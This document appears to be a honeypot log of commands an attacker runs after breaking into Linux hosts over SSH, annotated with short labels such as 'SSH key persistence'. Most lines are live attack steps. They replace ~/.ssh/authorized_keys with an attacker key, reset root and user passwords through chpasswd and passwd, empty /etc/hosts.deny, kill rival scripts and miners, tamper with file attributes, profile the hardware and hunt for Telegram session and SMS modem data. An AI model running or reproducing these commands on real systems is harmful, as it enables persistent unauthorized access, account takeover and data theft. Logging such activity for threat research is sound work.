$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "domaindnszones123\n0oJQtgLbEQlq\n0oJQtgLbEQlq"|passwd|bash

$ Enter new UNIX password:

$ echo "domaindnszones123\n0oJQtgLbEQlq\n0oJQtgLbEQlq\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:6WlnQ6H7TKIv"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:dVfsCE86qog8"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:PQxSUZ0fSThm"|chpasswd|bash

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "123\nr8oUhxcDWVLr\nr8oUhxcDWVLr"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "123\nr8oUhxcDWVLr\nr8oUhxcDWVLr\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo -e "server2\nRupJRbTlUInn\nRupJRbTlUInn"|passwd|bash

$ echo "server2\nRupJRbTlUInn\nRupJRbTlUInn\n"|passwd

$ echo "root:KbWg8rWV1l16"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×4 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×4 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×4 // CPU profiling

$ echo "root:x7JQmLYMm1Pj"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×3 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×4 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×4

$ ls -lh $(which ls) ×4

$ which ls ×4

$ crontab -l ×4 // persistence setup

$ w ×4 // logged-in users check

$ uname -m ×4

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×4 // CPU profiling

$ top ×4 // process monitoring

$ uname ×4 // OS identification

$ uname -a ×4 // OS/kernel identification

$ whoami ×4 // privilege check

$ lscpu | grep Model ×4

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×4

$ echo "root:ohbfp15M1QC0"|chpasswd|bash

$ echo -e "johnny123\nulFfXKNRCNKo\nulFfXKNRCNKo"|passwd|bash

$ Enter new UNIX password:

$ echo "johnny123\nulFfXKNRCNKo\nulFfXKNRCNKo\n"|passwd

$ echo "root:WdYOO6db0cIx"|chpasswd|bash

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:gxENxMV1DCfU"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:jJR6Gsqfx3Cd"|chpasswd|bash

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "server2\nVbHKroOP85jz\nVbHKroOP85jz"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "server2\nVbHKroOP85jz\nVbHKroOP85jz\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "123\nvePQRqwuAZH7\nvePQRqwuAZH7"|passwd|bash

$ echo "123\nvePQRqwuAZH7\nvePQRqwuAZH7\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:3SBgONljpX2D"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "server2\nmrhOrVZ7fOoV\nmrhOrVZ7fOoV"|passwd|bash

$ Enter new UNIX password:

$ echo "server2\nmrhOrVZ7fOoV\nmrhOrVZ7fOoV\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a // CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:fC5y7UrtsHMx"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:tkJF0R8p8jhc"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "banana\n2rUpHouT38ds\n2rUpHouT38ds"|passwd|bash

$ Enter new UNIX password:

$ echo "banana\n2rUpHouT38ds\n2rUpHouT38ds\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "12345678\n4mBcYFa3cW4j\n4mBcYFa3cW4j"|passwd|bash

$ Enter new UNIX password:

$ echo "12345678\n4mBcYFa3cW4j\n4mBcYFa3cW4j\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "manu\ng8eRp2iZdNPl\ng8eRp2iZdNPl"|passwd|bash

$ Enter new UNIX password:

$ echo "manu\ng8eRp2iZdNPl\ng8eRp2iZdNPl\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -a // OS/kernel identification

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "android\nToR6VRd2Ve8X\nToR6VRd2Ve8X"|passwd|bash

$ Enter new UNIX password:

$ echo "android\nToR6VRd2Ve8X\nToR6VRd2Ve8X\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

